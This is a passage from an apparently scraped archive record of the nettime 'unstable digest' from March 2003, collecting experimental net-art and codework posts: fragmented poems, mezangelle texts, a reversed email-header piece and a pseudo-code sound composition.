-i\nmcMOABMOABmctest.dialup.acMOAB7PMMOAB7MOABh\nsnefruMOABMOAB0.136.61MOABWed04PMMOAB2MOABh\nwalterMOABMOAB0.136.93MOABWed04PMMOAB1MOAB\nomariusMOABvpn.ntc-com.comMOAB21AMMOAB7MOAB\npcmMOABMOABol-43525c7f.dynMOAB4PMMOAB0MOABen\njaMOABMOABbyzantium.nyc.acMOAB0AMMOAB5MOABh\nmselbyMOABMOAB8.63.230MOABWed03PMMOAB1MOABcsMOABmMOAB\nnikaMOABsoMOAB-141-155-10-MOAB6PMMOAB0MOABh\ndacMOABMOABcience-887-5102MOAB7PMMOAB6MOABMOAB\nplumbMOAB0MOAB81-056-079.sMOAB0PMMOAB1 -\nanneMOABt3MOAB-66-127-196-MOAB1PMMOAB0MOABh\nmaxieMOAB5MOAB-99-198-21.pMOAB3PMMOAB0MOABcsMOABnus\nvicricMOABMOAB5-121-228.nyMOAB3PMMOAB1MOABh\ndacMOABMOABcience-887-5102MOAB7PMMOAB6MOABh\n\n\n===\n\n\n\n\nnettime unstable digest vol 38\nMon Mar 17 13:38:16 2003\n\n\nSubject: Re:  [Buyo]_Logical Pop_\n    From: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: Al-Ghazali, commentary on Internet Text\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: Re: Al-Ghazali, commentary on Internet Text\n    From: Lanny Quarles <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: = sixteen\n    From: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\n    To: \"s-.-.~\" <7-11 {AT} mail.ljudmila.org>\n\nSubject: no:waqr::\n    From: ui uuii <uiuuii {AT} UIUUII.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: <TITLE>[ f r a m e s ]____//NO_WAR!!//_-BlueScreen.2003</TITLE>\n    From: \"BlueScreen\" <b-l-u-e-s-c-r-e-e-n {AT} b-l-u-e-s-c-r-e-e-n.net>\n    To: nettime-l {AT} bbs.thing.net\n\nSubject: Re:  |   || \" || 9-3-2003-22:36 |_| 423226 4\" || blue||orange||||||yellow||||||green||||||red|||black 'purple ~\" || a |\n    From: hexcode {AT} o-o.lt\n    To: o-o {AT} konf.lt\n\nSubject: HY  st -ory    eria\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: machines-world\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\n\nSubject: MOAB TELECOMMUNICATIONS DISRUPTION\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Mon, 17 Mar 2003 19:32:41 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200303180149.h2I1n8T01275 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0303/msg00091.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 38"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00037",
                "content": "\nDate: Mon, 3 Mar 2003 00:25:24 -0800 (PST)\nFrom: Wilfried Hou Bek <wilfriedhoujebek {AT} yahoo.com>\nTo: 7-11 {AT} mail.ljudmila.org\nSubject: can .walk will compute\n\nCAN .WALK WILL COMPUTE\nDesperately in need of some extra computing power?\nNeed to render some data but you hardware can't handle\nthe algorithms? Want to calculate one of those insane\nnumbers? \n\nThe psychogeographic computer can help you. \n\nSubmit your computational needs to us before 25 April\n2003. \n\nSocialfiction.org will select from all reactions the\nproblem most important for the welfare for all of\nmankind. During the PsychoGeoConFlux held in New York\nfrom 9 to 11 May 2003, we will program a pedestrian\ncomputer that will be made up from the congregation of\ninternational psychogeographers that will .walk to\ncompute for you.\n\nSo do sent in your needs to\npsychogeography {AT} socialfiction.org\n\n \n\nrelated links;\n\n.walk for dummies\nhttp://www.socialfiction.org/psychogeography/dummies.html\n\n\n\npostcript\nhttp://www.socialfiction.org/psychogeography/walkpostscript.html\n\n\n.readme\nhttp://www.socialfiction.org/psychogeography/walk1.html\n\n\nPsychoGeoConflux\nhttp://www.glowlab.com/psygeocon/psygeocon.html \n\n \n \n\n\n=====\nhttp://www.socialfiction.org  \nhttp://www.socialfiction.org/psychogeography  \nhttp://socialfiction.blogspot.com\n\n__________________________________________________\nDo you Yahoo!?\nYahoo! Tax Center - forms, calculators, tips, more\nhttp://taxes.yahoo.com/\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\nDate: Mon, 3 Mar 2003 10:44:49 -0500\nFrom: John M. Bennett <bennett.23 {AT} OSU.EDU>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: Mut  a  loof\n\nMut  a  loof\n\n[m\\uta   gen   ]try[   \\/cycle\nsick]le fi-\\/\\re s[a]le [snorkel/]\nmull[ah ]-mutter -\\/[m\\]udra\nmat[t]e\\[r/ -liker --m]ovin[g\ng]len[s ge\\]/n\\tian[ entry]\n[c]rap   \\/u\\le[ ]n]   te-nt  aptive\ncaptor [rap]ture /raptor]\nw\\rap ]c[repe cape/ ]\\[cap rack]\n[-/s]acked ta-s[t]i]v\\e\\ -/sewi[ng]\nli\\/n]\\t[ lenie]nt ten[sion/]\nf-   l[am   ]e   gr--   /\\a/[/se]\nadz [g/]rass graze[ ash ga\\/sh]\nlamb [\\f-ilm ]lau-gh fla-m[b]/=E9\nfl]u[bb-er gras]s/\\[ fuming]\n\\m[eager m/[e-r]ger me]rcy\\\np  ] ol[e / \\-/ofa]ct   a[nt\ntac\\/]t [slant stunt t]\\a/i[nt\nlope ]so[le \\/p\\ool ]-lo]o[p lap]\n\\-/las[er pants lea-]\\v/[\\[ing\nleaf]-[l[oaf l/ac-tate a][lo]of\n\n\nJim Leftwich & John M. Bennett\n__________________________________________\nDr. John M. Bennett\nCurator, Avant Writing Collection\nRare Books & Manuscripts Library\nThe Ohio State University Libraries\n1858 Neil Av Mall\nColumbus, OH 43210 USA\n\n(614) 292-3029\nbennett.23 {AT} osu.edu\n___________________________________________\n\n\n\nDate: Sun, 09 Mar 2003 10:21:20 +1100\nTo: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org,\nFrom: \"][Buyo][Logical\" <netwurker {AT} hotkey.net.au>\nSubject: [Buyo]_Logical Pop_\n\n\n\n\n\n_[Buyo]Logical Pop Cult[ural] M.[*.ap]Perri.[R]tiff_\n\n+[man.]data painted lives < + > standard longevity varnish\n+remove nuclear fa[em]m[e]ily constraints + switch.writ yr conscious in2 \nthe mut[e. N          t(e)xt]ant.age\n+conti[mo.bile.an]nuity pro.mise[rly]s + blau-moonish seep.ia \nto.ne[o].alities [</vic.tori.an swabbing>]\n\n\n+abortiff c[abled] onnec.t.issuing < = > [grand] supra.marketing malls + \nmedia-s[l]eizure packaging\n+rust-tinted d[r]oll[i]s[h] [r]anch.o.red wimmen + twinned_metier pedals \nvying w.ar[gentile] dribbling\n+old [fish&bird shoals] s.kool [de]Bord[.ing]s <wrangle> \npermanent|wired_meme dam[n]age\n\n\n_[Re]al.l.igned D[b]ipol[ar]e Reality Fractures < seek > Tensile Wirelessness_\n\n\n\n************************\n\n\n\n\n- pro][rating][.logical.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker/txts\n_\n_sparks of lost buyo][logic][pop][+n.cultured][_\n\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\nDate: Tue, 4 Mar 2003 19:07:14 -0800\nFrom: MWP <mpalmer {AT} JPS.NET>\nTo: POETICS {AT} LISTSERV.BUFFALO.EDU\nSubject: SOLITARY VICE\n\n! ) ! 5 ; 2 2 ) ( 2 2 ) q d d d d k d d d k d d x ' 5 ; x 5 ;   d d d d d '\nd d d d d d w g g g g q w g d b b d G d r , r g , b r r g r d , d r r , d d\nr r w r r w r r r r r r g d b , b d w d r c b , , , c d c r w , d w , c c r\n- r g o c b , o w , c d , r o , o r o o r ! m , m g r d r r r , , w o r f o\nr , m o m r r o m r o e , e e x c o w o r o e r m c e m r 2 2 ) o e r m f o\no o w , r d o m e x c e e c e , , r e b e m o r e v e f - r d e b e c e v o\ne , e o f r o o m o o v m o d o w n g c e r e o n , e m n c e , o n , : 5 ;\nk n o w n , r r e g r e r o n , o b o e r w o n n d w n d n o m r r n d e n\nd n e x r e e r v , b o , o n o c r r e o n , ( c o n m o r e c e f r e q b\n, 5 ; m o f - o d J e m e d o f v d e e m e m r c r n m o r e o d o m v e n\n, v i c o n , a n n a k n o w n i o n , g e n i e a r ' i s c o m m e r c e\nn i w a i n f a n c i s s n d a n d e o n , o n a n i s m , m a y a i o n ,\nw i i o s e m a y b e e n s e e m i s i c e , e n a s i o n r a n s g r e s\ns o r k n o w , c o n s i s e c o m m i c e d f r o m w i e r e o r s w o r\ns n b e a s i n g s e x e s s i g e n c e n o r   v o e   g e n i e x e r w\ni n   b e a s r e   a r e o s   i n f a n c y ,   a n d   m a y ' s   m a d\ns e n s   m o s n d a d   a n d   m o s e r m s i o n ,   o r n ,   i s   a\nc r i m e   d o u b l y   a b o m i n a b l e : 2 2 ) s   f r e q u e n i o\nn   f a s a n   i o   l i f e c e d   v i c e   i e   m o s i o n ,   o n a\nn i s m ,   m a n u ,   i s   a   c r i m e   d o u b l y   a b o m i n a b\nl e   I f e i e   i o   i   i n   a n   e x c i u c o n ,   s e l f - a e s\nc e   c o n s i s i o n ,   v o n ,   i s   a   c r i m e   d o u b l y   a\nb o m i n a b l e     a f c e d   c o n s i s   o r   s e c r e e n s i v e\na   f a s c i n n .   I n   s u n y   o r   s e c r e   a   f a s c i n n ,\ni s   a   c r i m e   d o u b l y   a b o m i n a b l e .   A s   a   s i n\na g a i n s i o n ,   a n d   s o l i   n o   b o u n d s e   i s r e   a r\ne m o s e o n ,   o n a n i s m ,   m a n u s a r y   o r   s e c r e   r e\nr o s p i n e s r   b o r s e e s   e   m o r e n s i v e l o n ,   v o n ,\nv o l u n e n s   i i o n l   e r e   a r e l   s e x u a l   a s e ,   o n\na n i s m ,   m a n u s   i r r e s i s o n ,   a n d   s o l i h o h   l i\nf e .   n   a f h e h i o r l d   a n d   m o r e e n s i v e l c n   a s r\na n s g r e s s o r   s e e m s h a n   b e a s s   a l l   h i s i c e   f\nr o m   o b s e r v   a o s   a   m o m e n h w o r s e e   m o s h e   n e\nx t .   h e   n a .   e c e   c o n s i s t s   i n   a n   e x c i t e m e\nn t a l l   s e x u a l   a b t u o s p e c t r   a   m o m e n t ' s   m a\nd   s e n s u a l i t y .\n\n\n-mwp\n\n\n\nDate: Thu, 6 Mar 2003 15:28:10 +0100\nFrom: spa-am {AT} o-o.lt\nTo: o-o {AT} konf.lt\nSubject: Re:  |   || \" || 6-3-2003-14:58 |_| 211141 5\" || |\n\n>From - Thu Mar  6 15:18:15 2003          3002 51:81:51 6  raM uhT - morF\nX-UIDL: 85c3f7a111932a74                        47a239111a7f3c58 :LDIU-X\nX-Mozilla-Status: 0011                            1100 :sutatS-allizoM-X\nX-Mozilla-Status2: 00000000                  00000000 :2sutatS-allizoM-X\nReturn-Path: <owner-o-o-outgoing {AT} news.konferencijos.lt>nwo< :htaP-nruteR\nReceived: from news.konferencijos.lt (news.konferencijos.ltorf :devieceR\n[193.219.6.85])                                          )]58.6.912.391[\nby auste.elnet.lt (8.12.6/8.12.6) with ESMTP id h26FDpfA030075;.etsua yb\nThu, 6 Mar 2003 16:13:51 +0100            0010+ 15:31:61 3002 raM 6 ,uhT\nReceived: by news.konferencijos.lt (Postfix)icnerefnok.swen yb :devieceR\nid EEF272BAB5; Thu,  6 Mar 2003 16:13:53 +0200 (EET) ,uhT ;5BAB272FEE di\nDelivered-To: o-o-outgoing {AT} news.konferencijos.ltiogtuo-o-o :oT-derevileD\nReceived: by news.konferencijos.lt (Postfix, from userid 1000) :devieceR\nid 769492B9D6; Thu,  6 Mar 2003 16:13:53 +0200 (EET) ,uhT ;6D9B294967 di\nDelivered-To: o-o {AT} konferencijos.lt    tl.sojicnerefnok {AT} o-o :oT-derevileD\nReceived: by news.konferencijos.lt (Postfix, from userid 80)yb :devieceR\nid CEA662AB13; Thu,  6 Mar 2003 16:13:51 +0200 (EET) ,uhT ;31BA266AEC di\nTo: o-o {AT} konferencijos.lt                        tl.sojicnerefnok {AT} o-o :oT\nSubject: Re: <post> |   || \" || 6-3-2003-14:58 |_| 211141 5\" || |tcejbuS\n||||orange|||black|||||red|||      ||purple 'orange ~\" || e ||egnaro||||\nFrom: o-o-o-o-o-o {AT} konferencijos.lt (interlichtspielhaus)-o-o-o-o-o :morF\nNewsgroups: lt.konferencijos.menas.o-osanem.sojicnerefnok.tl :spuorgsweN\nUser-Agent: News.Konferencijos.lt      tl.sojicnerefnoK.sweN :tnegA-resU\nX-HTTP-Posting-Host: bln2-t8-2.mcbone.net.2-8t-2nlb :tsoH-gnitsoP-PTTH-X\nOrganization: http://news.konferencijos.ltfnok.swen//:ptth :noitazinagrO\nReferences: <00cb01c2e3e9$4e726480$a05ffea9 {AT} JohanMeskensCS2> :secnerefeR\nMime-Version: 1.0                                      0.1 :noisreV-emiM\nMessage-Id: <20030306141351.CEA662AB13 {AT} news.konferencijos.lt>:dI-egasseM\nDate: Thu,  6 Mar 2003 16:13:51 +0200 (EET):31:61 3002 raM 6  ,uhT :etaD\nSender: owner-o-o {AT} news.konferencijos.lticnerefnok.swen {AT} o-o-renwo :redneS\nPrecedence: bulk                                        klub :ecnedecerP\nReply-To: o-o {AT} konf.lt                              tl.fnok {AT} o-o :oT-ylpeR\nX-AntiVirus: scanned for viruses by Elnet {AT}  (http://www.elnet.lt)iVitnA-X\n\np____________o____________s_____________t\na       r       c       h       i       v       e   http://www.o-o.lt/post\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: diminished composition\nDate: Wed, 5 Mar 2003 01:29:55 -0500 (EST)\n\n\n\n\ndiminished composition\n\n\nmusmus music ic  ic\nmusmus music)ic) ic) (plapla play my m y musiusi usic\nmusmus music ic  ic of of  of thethe the sphsph sphereere eres\n\nthethe there re re areare are intint intensens ensitiiti ities es es\nandand and eaceac each mh m h musiusi usic\n\naloalo along ng ng witwit with th t h the he he musmus music ic ic of of\nof thethe the sphsph sphereere ere\n\nthethe the mismis miseryery ery of of  of musmus music\nmusmus music ic  ic of of  of thethe the sphsph sphereere eres\nmusmus music ic  ic of of  of thethe the sphsph sphereere eres\nmusmus music ic  ic (plapla play my m y musiusi usic)\nmusmus music\n\nworwor world ld ld - i hi h i hearear eard td t d therher here'de'd e'd be\nbe be musmus music ic ic herher here -e - e - heahea heard rd rd somsom\nsometheth ethin:in: in:of of of youyou your sr s r skinkin kin -\n\nthethe they sy s y saidaid aid to to to comcom come he h e hereere ere -\nthethe they sy s y saidaid aid thethe they'ry'r y're be b e be me m e\nmusiusi usic\n\n& & piepie piece-ce- ce-inging ing musmus music\n& & piepie piece-ce- ce-inging ing musmus music\n\n\n===\n\n\nTo: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org,audiovision {AT} egroups.com\nFrom: \"][mez][\" <netwurker {AT} hotkey.net.au>\nSubject: ANNOUNCING: mez {AT} boringart.com\nDate: Fri, 07 Mar 2003 11:42:18 +1100\n\n\n\n___\nBoring Art proudly presents mez {AT} boringart.com\n\n..........................\npro][tean][.lapsing.txts\n.\n.\n\nWith a critical presence of mind net.wurker][mez][ researches structures of \nlanguage, inter alia; far beyond from the perspectives of Wittgenstein, \nBarthes, Kristeva or Derrida. With a wit and acuity the code of the visual \nmezangelles simultaneously slices and intertwines the semiotic and semantic \ndiscourses to coexist within the riveting structure of art'wurk'', evoking \npleasurable forms of 'all the _texts_' .\n\nhence, dictum sapienti sat est - respice finem .. are you ready for a sneak \npreview ??\n\n\n---\n\n\n{i. am. [trapped. in. seizure.\nlanguage. |\n\n\n\n\npart girl| [part][ial][\nboy ()\n\n\n\n\nc|or|e [war][e][s\n|\n\n][fairy f][ [lossed chip & coded\ndale |\n\n\n\n\n\n\n\n\n\n\n. . .... .....\nnet.wurker][mez][\n.][E][mot][E][ion capt][l][ure.goes.here.\nxXXx\n./.\n\n\n---\n\n\n[TXT]\n::][syn][tax.onomic bone-like language\n::ab][c][ode searching vs t][crunc][hickening syntax\n::body clo][cks][g.gages\n::new ][sub][genreism\n::har][de][mon][ic][y balancing\n\n\n\n\n\n. . .... .....\nblind [t]rusting.txt\n.\n.\n*star[.dot]*star\n\n\nSubject: mETA<tagged n dangerous>stasize\n\n[21:11] <log> AltX claims that the imprint brings to web-readers a \nmust-have library of uncategorizable writing being produced by some of the \nmost provocative artists in contemporary new media culture\n\n---\n\n\n[21:19] <Alan_Sondheim> I think of Mez' and my work, some of which is in \nthe email list \"format\" - and I know for myself how hard it is to republish \nor recapitulate this -\n[21:20] <][mez][> egg.actly alan. my contribution that's n.cluded in the \nHard-Code ebook was not the mezanglled version that i n.dicated but the \ntranslated version...again, that recourse to traditionality even here....\n\n\n(r2) !:\n[21:29] *** ][mez][ has quit IRC (QUIT: .i.dream.the.n e X ][t][ us. )\n\n\n\n\n\n\n\n\n. . .... .....\nnet.coder][mez][\n.net.c][haracter][o.ding][!][. ..\n\n\nSubject: _net.code(r2) !: November 4th 2001:_\n\n\n---\n\n\n][mez][ says, \"...all the _texts_ [and I use this term 2 n.clude the whole \nshebang, not just the typed components] should be able 2 b negotiated [in \nterms of meaning] from the very email core that I have constructed \nini.tially, in ut][n][e][t][ro.........but I find that ppl r reluctant 2 do \nso........\"\n\n\n_net.code(r3) !: Sunday April 21 2002 :_\n\n\n---\n\nMore ? pro][tean][.lapsing.txts [ http://www.boringart.com ] \n06/03/03-07/04/03 and remember; is your life Boring enough !!\n\nMaria Tjader-Knight AD Curator BoringArt\n\n\n\n\n\nFrom: a u t u m n - f r e q u e n c y  <star.power {AT} usa.net>\nTo: <_arc.hive_ {AT} lm.va.com.au>\nSubject: Re:PLY [[_arct.hive_aLL] piece.inc musicField]\nDate: Tue, 04 Mar 2003 22:26:15 -0700\n\nwrote:\n\"note\"\n {AT} .x.i/ON:\n/.inc\nvalue+function:\nDAT.inc =\n\n12.inc\nk\n_release\n\"ON\"\n+/-\nsemi_tonALLities.inc\nx.inc =\n\n4.inc\nleavinc.inc\nsync\n4.inc\nminoRRe.inc\n~threads~\n~1/3RDS.inc\ni.e..inc\nCC.inc_knot=3D\"SYNC\"\nwhilst:PATH_LOSS?\npurge:keyyesPresst:\n\"File->Save Pattern as Wave File...\"\nD#.inc\nF#.inc\nA.inc\ninGliss fnd rnd snd files\nrunGLISS\nload+play\ntheir.inc\nast.inc\nchip\ndat.inc =\n\nminoRRe.inc\nspiRRaLL.a.x/i/ON:iNNe_5ths_subDiv:\nova:\n1/3RDS.inc\n-INSERT-\n1/3RDS.inc =\n\nharm...path?\nbeTweening.inc\nminiScripts =\n\nwhilst_any.inc\nastAPPropERR_Ties {AT} 8.2.conSEQu.tiv.e.inc\nx.pairs.x\n=3DLENGTH\nmatch\nTHEN\n\"DUR\"\na/x/i/ON:\nLIM/.inc\n4.inc\nex.inc\nmetersoRReLIMmeterstwurnPAN_vals:ova:fingursRUNN.inc\nD#-F#..inc\n2.gettaNote=3D\"poly\"\nPRESST {AT} timedatestamp_identikit\n=2Einc\nDAT.inc\ntheir.inc\n\"R\".inc\n3.inc\n=2E..such_SER_\"E\"_ALL_portsOpenies.inc\noft.inc\nm1n0r.inc\n*****.***\nin_passField\nfillForm_vals\n=2Einc 3rds.inc =\n\nstart/downlaod.php\nwhilst_tack_iNNe\n(a)miniNaime:\niNNe.inc\ndat.inc\n\"0.9b11 Released\"\nscale.inc 02.Fit =\n\ncalt.inc x DAT(a)miniNaimeknotMiner\ntheseHeat.inc\nteleco.inc\nwhistleHarmonies_miniTimes_agrainstIntera/x/i/ON(s).inc\n04.inc\nobviousReasons.inc\nimproviseLogic.inc\nonTheme_rnd.whilstSuch+such.inc\ndat.inc\nthere.inc\nis.inc\nknow.inc\ntonic.inc =\n\n {AT} .inc =\n\nall.inc =\n\nDAT.inc\neach.inc =\n\nnote.inc =\n\nast_IF_equidistant.inc =\n\ncarrying.inc =\n\nwith.inc =\n\nit.inc\n\"veryWide:snd;.low+veryResonant\"\nits.inc\nminor.inc =\n\n3rd.inc =\n\nscaLLe_02_fuLLsize.inc\nwhilst_vo_m.phasize.inc\n08_octaves.inc.x.08_octave.inc=3D64_spcs\nonOccasion.inc\n=2Einc =\n\n04.inc =\n\nex.inc\nneb_ULL =\n\nf#-F#.inc =\n\nast.inc\nCR_LF =\n\npunctuation.inc\nincludes_lineBR_syntax\nREPEAT:\n=2Einc =\n\nast.inc\nIF.inc =\n\n02.inc\nTHEN_said.inc =\n\nHere.inc =\n\nis.inc =\n\nwhereDAT.inc\ntoniCC_events_SUBSCRIPTION.inc\nmight.inc\nfilt:\n\"* subtext at 9pm, Free\"\n\"Click Here to Email Machine\"\n\"* phOnOmena at 9pm, Free\"\n\"Edit Your Profile.\"\nhave.inc =\n\nbin.inc =\n\n(a).inc\ncloud.gen =\n\nwresting-place.inc =\n\noRRe.inc =\n\nRE:turn.inc =\n\nwhich.inc_wetteADDrest.02:\nast_IF.inc\niNNe(a)uthenticalt, =\n\nwhich.inc =\n\nfrequency_oft_leaves_02:ENTER.inc =\n\niNNe02:everything.inc_fnd:autumn\nseap_opp_oRRe08.eRR.02.inc\n\"B\".inc\nminiNaime(s)_desired_04:\"polyPhonics\".inc =\n\nwhich.inc est.incOMPatible  {AT} .inc lossPath\noRRe miniScript 04best_compress.inc =\n\ntempSTAT(sh).inc\n\"p\"\n\"a\"\n\"s\"\n\"e\"\n\"R\"\n\"R\"\n\"i\"\n\"e\"\n\"a\"\n\"f\"\n\"t\"\n\"y\"\n\"p\"\n\"t\"\n\"e\"\n\"t\"\n\"t\"\n\"e\"\n\"e\"\niNNe.inc =\n\nDAT.inc\nmidst.inc =\n\ngrn.ul8teRR_cut_customPref\noft_mist_pelt.inc =\n\nnomadic.inc_ire//marktUp\nwhilstliveHost_queRRied_dur.inc_packettesPasst =\n\ncont.inc =\n\niNNe.inc =\n\nthistle.inc\nmanneRRette.inc =\n\nplaying.inc\nGO02+\nquickly.inc =\n\nADJ-n.SERT-\nnervously;.inc\nso.inc\n\"Z\"\n\"Y\"\n\"N\"\ndeRR_oRRe_dat.inc\nthistle(s)Throat_ovaPipes_lastCalt-radio:\neach.inc =\n\npackettePhrase.inc =\n\ndis(a)ppears.inc in02.inc boundLink_whilst_pathMatch_otherizing;Voices.in=\nc\nREG[isteRReTTe]col =\n\ndist.inc =\n\nbells.inc\nring_oft_dist_aCalt:\"LYRICaLL\".inc =\n\nthemm.inc\nastREG_domain(s)_iverse.inc =\n\nspeak.inc =\n\n02:\"OUT\".inc =\n\n-post-\niNNe.inc =\n\naLLwayst;matchCHARset.inc_IF_SUB_txtTrct_LN_PM_ast_IF_wirCrost.inc\nIF.inc =\n\nparticaltizeSNDs.inc\nx. and.inc alternative.inc universes.inc wyre.inc\nquote_said:sonicQuanta\nIOT\nIOS\n***\n***\n***\nformette.inc =\n\nCC.snd\nsuch.ast:\nova.(a)cubicSplineCurve.inc\n+/-.inc =\n\nd.form {AT} .inc =\n\n {AT} .inc\n=2E\n(a)ston_ishtingTaq.inc =\n\nincreaseRates.rampUp.inc\nclarify.inc\nhalcy_ON =\n\nth.inc\ndat:speak\npolyticks\nast-IF.inc\nLOADED_cart\nmuliPart_identifier:so.sync_dat_RATE.inc_setPair02multiplex_ova_timeSIGs.=\nync(s)_suchAST-if.inc\nparticles.inc+.inc+\n++++++++++++++++++++++\n\"corpuscles of sound\". =\n\n=2E.....................\nalt.datERRate.inc=3Dmultiverses.inc_knotSpeak_module =\n\n\"R\".inc =\n\nLOADED\n04.inc =\n\n(a)PATH.inc =\n\niNNe_fact.inc\nrenderQuote_streamADD_\"E\"_quiette\nbrought.inc =\n\niNNe02.inc\n\"PLAY\" =\n\nx.tenceFIG_09.inc =\n\n\"play.inc\"\nwit.inc\nidentikits_LOADED_onKlive\nIFT_\"PLAY\"=3Dpresst\nmod.speaking.inc\noft.inc =\n\niNNe\nthe.inc =\n\nwrd.inc\n\"o\"\n()\n=2E\nsym\naLL\noft.inc =\n\nrmxLOGiCCalt_(a)_nmb.inc\neRR_oRRe:\n\"bad command\"\nthe.inc =\n\nrung_synthBeLLs_x.prest_keyyes.inc =\n\nknowFaster_kneLLs.inc\n+/-.inc =\n\nknewlsFaster.inc\n-cut-\nsync.wit:\n\"The amount of loss introduced by the propagation environment between a\ntransmitter and receiver.\"\nwhilst: =\n\nmsg.src:\nautumn-frequency\n\n\n\n\n\nnettime unstable digest vol 37\nSun Mar  9 00:55:33 2003\n\n\nSubject: can .walk will compute\n    From: Wilfried Hou Bek <wilfriedhoujebek {AT} yahoo.com>\n    To: 7-11 {AT} mail.ljudmila.org\n\nSubject: Mut  a  loof\n    From: John M. Bennett <bennett.23 {AT} OSU.EDU>\n    To: WRYTING-L {AT} 